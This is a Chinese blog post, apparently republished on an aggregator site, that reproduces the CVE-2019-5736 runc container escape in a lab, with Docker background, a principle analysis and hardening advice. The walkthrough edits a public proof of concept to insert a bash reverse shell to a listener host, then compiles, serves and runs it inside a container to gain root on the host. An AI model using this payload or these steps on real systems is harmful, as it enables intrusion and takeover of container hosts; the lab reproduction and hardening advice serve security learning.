CVE漏洞复现-CVE-2019-5736 Docker逃逸

这篇具有很好参考价值的文章主要介绍了CVE漏洞复现-CVE-2019-5736 Docker逃逸。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

CVE-2019-5736 Docker逃逸

Docker是什么?

Docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的Linux或Windows操作系统的机器上,也可以实现虚拟化,容器是完全使用沙箱机制,相互之间不会有任何接口

Docker环境和普通生产环境的差异在哪呢?举个列子,在普通的生产环境中,我们程序员写的代码产品在开发环境中能够运行起来,但却在测试环境中很容易出现各种的Bug,报错,这是因为两个环境中机器的配置和环境不一样所导致的

CVE漏洞复现-CVE-2019-5736 Docker逃逸,CVE漏洞复现,docker,linux,网络安全,安全

而Docker的出现解决了这一差异性的问题

在举一个列子,平时我们在做开发项目的时候,需要去配置一大堆的环境依赖,而当我们需要将项目迁移到其他主机或者平台的时候,那是不是也要将一大堆的配置环境依赖同样进行迁移,显得相当的麻烦

像平时我们在生产环境中,会去做集群,负载均衡,来让多台服务器共同承担一个责任,分摊访问流量的压力,当我们部署好一台服务器时,你还需要更多一摸一样的服务器,这个时候,你应该怎么办呢?是不是得将环境依赖什么的从头到尾重新安装一遍,是不是会非常麻烦

所以归根结底,突出两个问题,一是环境一致性的问题,二是重复配置,浪费时间的问题,所以Docker的出现解决了这两个问题

你可以把Docker理解成一个镜像,当我们需要在其他服务器上配置相同的项目环境时

CVE漏洞复现-CVE-2019-5736 Docker逃逸,CVE漏洞复现,docker,linux,网络安全,安全

我们使用Docker相当于复制了一个环境过去,极大解决了硬件环境所造成的环境差异性的问题和需要重复配置环境的问题

CVE漏洞复现-CVE-2019-5736 Docker逃逸,CVE漏洞复现,docker,linux,网络安全,安全
那我们Docker的概念是不是和虚拟机有些相同?那Docker和虚拟机的差异又在哪呢?

虚拟机和Docker的对比:

CVE漏洞复现-CVE-2019-5736 Docker逃逸,CVE漏洞复现,docker,linux,网络安全,安全

特性 虚拟机 容器
启动 分钟级 秒级
部署创建速度
硬盘使用 一般为GB 一般为MB
性能 弱于原生系统,和监视器交互 接近原生系统,和内核交互
资源利用率 一般几十个 单机支持上千各容器
隔离性 系统级别隔离,更强 进程之间的隔离,弱
安全性

容器技术发展历史:

CVE漏洞复现-CVE-2019-5736 Docker逃逸,CVE漏洞复现,docker,linux,网络安全,安全

Docker使用场景:

1、实现快速部署(镜像),例:vulhub.org
2、解决环境一致性的问题,例:部署应用
3、提升服务器的利用率,降低成本,例:安装服务
4、隔离不同的应用

Docker的组成

Docker组成:

CVE漏洞复现-CVE-2019-5736 Docker逃逸,CVE漏洞复现,docker,linux,网络安全,安全
核心概念:

  • 镜像Image:打包好的应用环境,模板,不能修改,列:Nginx、Tomcat、MySQL、桃宝商城、Ubuntu镜像
  • 容器Container:镜像+读写层,有状态:运行、暂停、停止
  • 仓库Registry:存放各种镜像,提供上传和下载,官方仓库:https://hub.docker.com

复现环境搭建说明

什么叫Docker逃逸?

Docker容器相当于一个小型的Linux操作系统,有自己磁盘、网络、进程、用户体系,而Docker逃逸就是我们由Docker权限获得到主机root权限的过程,简单来说就是从Docker的权限得到了部署Docker环境的主机的权限

Docker逃逸原因类型

1、由操作系统内核漏洞引起:CVE-2016-5195(脏牛)
2、由Docker本身的漏洞引起:CVE-2019-5736、CVE- 2019-14271
3、由Docker配置和使用不当引起

(1)开启privileged(特权模式)
(2)宿主机目录挂载(文件挂载)
(3)docket remote api未授权访问导致逃逸

参考链接:浅析docker的多种逃逸方法

CVE-2019-5736 环境搭建

漏洞条件:

root运行Docker
Docker Version < 18.09.2
runc版本<=1.0-rc6

现成靶机下载

链接:https://pan.baidu.com/s/19uXXlyAUUJLX4wJcwEAUgw?pwd=8888
靶机密码:123456 两个账户都是

Docker逃逸演示

复现环境

机器名 IP
kali 192.168.142.128
centos 192.168.142.166

Kali机器开启监听

nc -lvnp 7777

CVE漏洞复现-CVE-2019-5736 Docker逃逸,CVE漏洞复现,docker,linux,网络安全,安全

靶机查看版本

docker -v
docker-runc -v

CVE漏洞复现-CVE-2019-5736 Docker逃逸,CVE漏洞复现,docker,linux,网络安全,安全

启动Docker服务(这一步需要输入密码123456)

service docker start

CVE漏洞复现-CVE-2019-5736 Docker逃逸,CVE漏洞复现,docker,linux,网络安全,安全

运行一个容器

docker run -it ubuntu:18.04 "/bin/bash"

CVE漏洞复现-CVE-2019-5736 Docker逃逸,CVE漏洞复现,docker,linux,网络安全,安全

下载编译利用脚本

git clone https://github.com/Frichetten/CVE-2019-5736-PoC
cd /home/kali/桌面/CVE-2019-5736-PoC-master

CVE漏洞复现-CVE-2019-5736 Docker逃逸,CVE漏洞复现,docker,linux,网络安全,安全

编辑POC文件

vim main.go

加入反弹shell的命令

var payload = "#!/bin/bash \n bash -i >& /dev/tcp/192.168.142.128/7777 0>&1" + shellCmd

CVE漏洞复现-CVE-2019-5736 Docker逃逸,CVE漏洞复现,docker,linux,网络安全,安全

修改脚本编译脚本

首先安装go编译环境

yum install epel-release
yum install golang

CVE漏洞复现-CVE-2019-5736 Docker逃逸,CVE漏洞复现,docker,linux,网络安全,安全

编译poc

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

CVE漏洞复现-CVE-2019-5736 Docker逃逸,CVE漏洞复现,docker,linux,网络安全,安全

kali机器开启HTTP服务

python -m http.server 7987

CVE漏洞复现-CVE-2019-5736 Docker逃逸,CVE漏洞复现,docker,linux,网络安全,安全

centos机器下载poc

curl -O http://192.168.142.128/main

如图我们已经成功的向Docker的主机上传了Poc文件
CVE漏洞复现-CVE-2019-5736 Docker逃逸,CVE漏洞复现,docker,linux,网络安全,安全

然后由于我们要做的是容器逃逸,所以POC需要运行在容器环境中,所以我们需要将main.go文件拷贝到Docker环境中

查看容器

docker container ls -a

启动容器

docker start  501c

CVE漏洞复现-CVE-2019-5736 Docker逃逸,CVE漏洞复现,docker,linux,网络安全,安全

容器拷贝poc

docker cp ./main  501c:/home

CVE漏洞复现-CVE-2019-5736 Docker逃逸,CVE漏洞复现,docker,linux,网络安全,安全

进入Docker bash

docker exec -it 501c /bin/sh
cd /home
ls

CVE漏洞复现-CVE-2019-5736 Docker逃逸,CVE漏洞复现,docker,linux,网络安全,安全

在容器中执行poc

chmod 777 main
./main

CVE漏洞复现-CVE-2019-5736 Docker逃逸,CVE漏洞复现,docker,linux,网络安全,安全

centos以root身份再次进入Docker

docker exec -it 501c /bin/bash

CVE漏洞复现-CVE-2019-5736 Docker逃逸,CVE漏洞复现,docker,linux,网络安全,安全

docker容器执行反弹shell命令

CVE漏洞复现-CVE-2019-5736 Docker逃逸,CVE漏洞复现,docker,linux,网络安全,安全

kali机器收到监听会话

CVE漏洞复现-CVE-2019-5736 Docker逃逸,CVE漏洞复现,docker,linux,网络安全,安全

原理分析

在runc exec加入到容器的命名空间之后(runc运行原理),容器内进程已经能够通过内部/proc(虚拟文件系统)观察到它,此时如果打开/proc/[runc-PID]/exe并写入一些内容,就能够实现将宿主机上的runc二进制程序覆盖。
下一次用户调用runc去执行命令时,实际执行的将是攻击者放置的指令。

总结:篡改了系统的runc文件,在其中加入恶意代码,在下一次run exec的时候导致恶意代码执行

Docker安全加固

Docker安全检测

自动化利用工具:https://github.com/cdk-team/CDK

这个工具可以检测Docker容器和K8S集群的一些漏洞

Docker加固建议

1、升级Docker到最新版
2、升级Linux内核
3、不建议以root权限运行Docker服务
4、不建议以privileged(特权模式)启动Docker
5、不建议将宿主机目录挂载至容器目录
6、不建议将容器以–cap-add=SYSADMIN启动,SYSADMIN意为container进程允许执行mount、umount等一系列系统管理操作,存在容器逃逸风险

参考资料:https://mp.weixin.qq.com/s/R5DV0X3QpYmaxVxIexRYgA文章来源地址https://www.toymoban.com/news/detail-517095.html

到了这里,关于CVE漏洞复现-CVE-2019-5736 Docker逃逸的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【漏洞复现】CVE-2019-0708(BlueKeep)

    2019年5月14日微软官方发布安全补丁,修复了 Windows 远程桌面服务的远程代码执行漏洞,该漏洞影响了某些旧版本的 Windows 系统。此漏洞是预身份验证,无需用户交互,这就意味着这个漏洞可以通过网络蠕虫的方式被利用,与2017年 WannaCry 勒索病毒的传播方式类似。 存在漏洞的

    2024年02月04日
    浏览(45)
  • 中间件安全-CVE 复现&K8s&Docker&Jetty&Websphere漏洞复现

    中间件及框架列表: IIS,Apache,Nginx,Tomcat,Docker,K8s,Weblogic,JBoos,WebSphere,Jenkins ,GlassFish,Jetty,Jira,Struts2,Laravel,Solr,Shiro,Thinkphp,Spring,Flask,jQuery 等。 中间件所披露的问题: 中间件安全-IISApacheTomcatNginx漏洞复现 中间件安全-WeblogicJenkinsGlassFish漏洞复现 1、中间

    2024年02月08日
    浏览(51)
  • [ vulhub漏洞复现篇 ] Drupal XSS漏洞 (CVE-2019-6341)

    👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~ ✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】 🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋 🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋 🙏作者水平有

    2023年04月16日
    浏览(51)
  • CVE-2019-11043(PHP远程代码执行漏洞)复现

    今天继续给大家介绍渗透测试相关知识,本文主要内容是CVE-2019-11043(PHP远程代码执行漏洞)复现。 免责声明: 本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负! 再次强调:严禁对未授权设备进行渗透测试! CVE-2019-11043漏

    2024年02月06日
    浏览(53)
  • [漏洞复现] jenkins 远程代码执行 (CVE-2019-100300)

    拥有Overall/Read 权限的用户可以绕过沙盒保护,在jenkins可以执行任意代码。此漏洞需要一个账号密码和一个存在的job。 Jenkins的pipeline主要是通过一个配置文件或者job里面的pipeline脚本配置来设定每个job的步骤. pipeline定义了几乎所有要用到的流程, 比如执行shell, 存档, 生成测试

    2024年02月16日
    浏览(44)
  • CVE-2019-0708远程桌面服务远程执行代码漏洞复现

    1、相关简介 Windows再次被曝出一个破坏力巨大的高危远程漏洞CVE-2019-0708。攻击者一旦成功利用该漏洞,便可以在目标系统上执行任意代码,包括获取敏感信息、执行远程代码、发起拒绝服务攻击等等攻击行为。2019年5月14日微软官方发布安全补丁,修复了windows远程桌面服务的远

    2024年02月10日
    浏览(50)
  • 【网络安全---漏洞复现】Tomcat CVE-2020-1938 漏洞复现和利用过程(特详细)

    分享一个非常详细的网络安全笔记,是我学习网安过程中用心写的,可以点开以下链接获取: 超详细的网络安全笔记 Apache Tomcat文件包含漏洞(CNVD-2020-10487/CVE-2020-1938)。该漏洞是由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的

    2024年02月08日
    浏览(53)
  • 【网络安全】CVE漏洞分析以及复现

    漏洞详情 Shiro 在路径控制的时候,未能对传入的 url 编码进行 decode 解码,导致攻击者可以绕过过滤器,访问被过滤的路径。 漏洞影响版本 Shiro 1.0.0-incubating 对应 Maven Repo 里面也有 【一一帮助安全学习,所有资源获取一一】 ①网络安全学习路线 ②20份渗透测试电子书 ③安全

    2024年02月06日
    浏览(48)
  • 【漏洞复现】Ruby on Rails 路径穿越与任意文件读取漏洞(CVE-2019-5418)

    1. 漏洞简介 Ruby on Rails使用了指定参数的render file来渲染应用之外的视图,且会根据用户传入的Accept头来确定文件具体位置。我们可以通过修改访问某控制器的请求包,通过…/…/…/…/来达到路径穿越的目的,然后再通过{{来闭合模板查询路径,那我们访问的文件会被当做外部

    2024年02月04日
    浏览(58)
  • 云上攻防--云原生&&Docker逃逸--特权逃逸--危险挂载--漏洞逃逸

    Docker介绍 Docker 是一个开放源代码软件,是一个开放平台,用于开发应用、交付(shipping)应用、运行应用。Docker允许用户将基础设施(Infrastructure)中的应用单独分割出来,形成更小的颗粒(容器),从而提高交付软件的速度。 Docker 容器与虚拟机类似,但二者在原理上不同

    2024年01月25日
    浏览(45)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包